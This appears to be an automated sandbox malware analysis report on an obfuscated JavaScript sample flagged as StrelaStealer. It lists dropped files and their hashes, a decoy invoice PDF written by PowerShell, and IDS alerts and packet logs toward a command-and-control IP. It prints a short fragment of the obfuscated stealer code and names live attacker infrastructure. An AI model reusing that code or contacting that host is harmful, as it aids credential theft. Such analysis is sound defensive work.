.....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 21-02-46-414.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.386483451061953
Encrypted:	false
SSDEEP:	384:A2+jkjVj8jujXj+jPjghjKj0jLjmF/FRFO7t75NsXNsbNsgNssNsNNsaNsliNsTY:AXg5IqTS7Mh+oXChrYhFiQHXiz1W60ID
MD5:	F49CA270724D610D1589E217EA78D6D1
SHA1:	22D43D4BB9BDC1D1DEA734399D2D71E264AA3DD3
SHA-256:	D2FFBB2EF8FCE09991C2EFAA91B6784497E8C55845807468A3385CF6029A2F8D
SHA-512:	181B42465DE41E298329CBEB80181CBAB77CFD1701DBA31E61B2180B483BC35E2EFAFFA14C98F1ED0EDDE67F997EE4219C5318CE846BB0116A908FB2EAB61D29
Malicious:	false
Preview:	SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:808+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.318664008395774
Encrypted:	false
SSDEEP:	384:Age9WovFv2nx1cSu/MyxpX1kwriJYvnA9TxVf3Hvit+8Ke1JPai3nmn2PQWRlkUm:iKX
MD5:	1A01F449E395983AD70F3D4FDA561568
SHA1:	47688E3154C6E58B477649557D90F9119752AAB5
SHA-256:	31E6BCEBFA20BF6F65ED34F9D241FF9249A3230177F4335F129DFE35040C3F1E
SHA-512:	0E804113DA44819791F38E742F84C8AFCBCED001235D2C66665A1D55D31C510042A90B5A54BD94F4523E38C7CF083BC28315CD45BD4D1FDCF8AC6AC941F57B8B
Malicious:	false
Preview:	SessionID=007e5aad-3e3a-4e70-bfb5-fc61cefc007a.1736560966518 Timestamp=2025-01-10T21:02:46:518-0500 ThreadID=3876 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=007e5aad-3e3a-4e70-bfb5-fc61cefc007a.1736560966518 Timestamp=2025-01-10T21:02:46:544-0500 ThreadID=3876 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=007e5aad-3e3a-4e70-bfb5-fc61cefc007a.1736560966518 Timestamp=2025-01-10T21:02:46:544-0500 ThreadID=3876 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=007e5aad-3e3a-4e70-bfb5-fc61cefc007a.1736560966518 Timestamp=2025-01-10T21:02:46:544-0500 ThreadID=3876 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=007e5aad-3e3a-4e70-bfb5-fc61cefc007a.1736560966518 Timestamp=2025-01-10T21:02:46:544-0500 ThreadID=3876 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.412649300782461
Encrypted:	false
SSDEEP:	768:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRldy0+AyxkHBDgRh9gR4S:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRP
MD5:	3BC3C34EC6E121C8AA31A9E0BE1F83B1
SHA1:	37E51A23C5F240DC149E2001F4078E8A8E1E7E2C
SHA-256:	388D3365A4DEA178E552BF09AD991D43E62C017956E18C7E0EF801415CE001B2
SHA-512:	FCEDC9D295247F7F6F5396CF03E37E330A8C60380BED88C0D6B2114505A81FEE75B5270B73728402221F2AD08D4395E9DF02CC1674DE7650E7B9CB6876DF10F0
Malicious:	false
Preview:	05-10-2023 08:41:17:.---2---..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:41:17:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\190ef9e4-8381-42e3-b5b5-99c59cd82dd2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\b1ef9b77-9a3f-4cef-b8e9-870feb47623c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\c0e8fb09-cb65-47f7-88c7-cf7950772459.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\c1672901-b8f2-4ffb-8b5d-1349adbae282.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:6DaWL07oSwYIGNPHGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:caWLxSwZGBGZn3mlind9i4ufFXpAXkru
MD5:	83861FA7ACFA3650A6004BB1FDC18F93
SHA1:	441DEF17B266EAFA0777308C02FEEC8272A0E0B8
SHA-256:	1A30A52C3CAA02993AB28CC870EA47311507D0121DD4FC90AE734FA8AC58E867
SHA-512:	E11048B0B5D82D9015F93C9AB36AE4FC2ED72ABE50B27FC982962C9135E5B4EBB90FFD0D555265FBE405AC711D5D44D8B6A658BF9883D017C1E5F53C6CC8EDF8
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	false
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16709), with CRLF line terminators
Entropy (8bit):	4.874731950064801
TrID:
File name:	25717297553175212150.js
File size:	20'142 bytes
MD5:	4d114111002b41c886a8c324c42f2c0f
SHA1:	16df8b28e8dd4e593a054ec0e39d1cbc12ec2581
SHA256:	6f47113a0bf9d9776128d52c3d9feb5a27f6d1855f46dd7d8ec02c22d3ed1ee7
SHA512:	74e2c812720dedc114a10e6592fb2ea5e4173533f513f4486b11ec6ccf49e96e82a7c65a7772f7d6eeaa0a79f66bbb0df84e432c251f8d1f41c18e73f853e004
SSDEEP:	384:rKHmbNbbURgrDBxlSAXLcaYlQQTCOi/ERRpokcX1ZiIarJJETkYErWM/8KcmPwWF:GibUwDPlvLcaYlQQTCOi/ERRpokcX1ZU
TLSH:	3A92A7C39A90D1D2DFC81CB9E69941EB03FE605D87C4AECC800B1A467798E2953E5D7E
File Content Preview:	function thcocng(){ylahukvxe=[1031,3079,5127,4103,2055,3072];var qwoxdes=this[bfudrk+fwcied+urhhr+rtjyuv+bhzauf+fsuxl+rkbgnpbd+jhgmukiqa](this[sjsvc+fhziefgoz+lgncwbdub+urhhr+fbxsi+bfudrk+jhgmukiqa][xejpydj+urhhr+bhzauf+fwcied+jhgmukiqa+bhzauf+zvbqqbb+mko

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T03:02:40.703601+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.7	49700	193.143.1.205	80	TCP
2025-01-11T03:02:40.703601+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.7	49700	193.143.1.205	80	TCP
2025-01-11T03:02:43.956215+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.7	49701	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 03:02:39.900290012 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:39.906982899 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:39.907063007 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:39.913450003 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:39.921144009 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.703522921 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.703547001 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.703561068 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.703578949 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.703591108 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.703600883 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:40.703605890 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.703654051 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:40.703905106 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.703921080 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.703934908 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.703974009 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:40.704220057 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.704256058 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:40.708378077 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.708519936 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.708580017 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:40.749763966 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.749810934 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.749869108 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:40.828556061 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.828581095 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.828620911 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.828633070 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:40.828700066 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.828736067 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:40.828850985 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.828913927 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.828949928 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:40.829037905 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.829185009 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.829195976 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.829237938 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:40.829467058 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.829504967 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:40.829540968 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.829552889 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.829581022 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:40.829827070 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.829838991 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.829888105 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:40.830286026 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.830426931 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.830439091 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.830466032 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:40.830655098 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.830667973 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.830692053 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:40.831170082 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.831213951 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:40.832289934 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.832366943 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.832379103 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.832401991 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:40.875037909 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.875062943 CET	80	49700	193.143.1.205	192.168.2.7
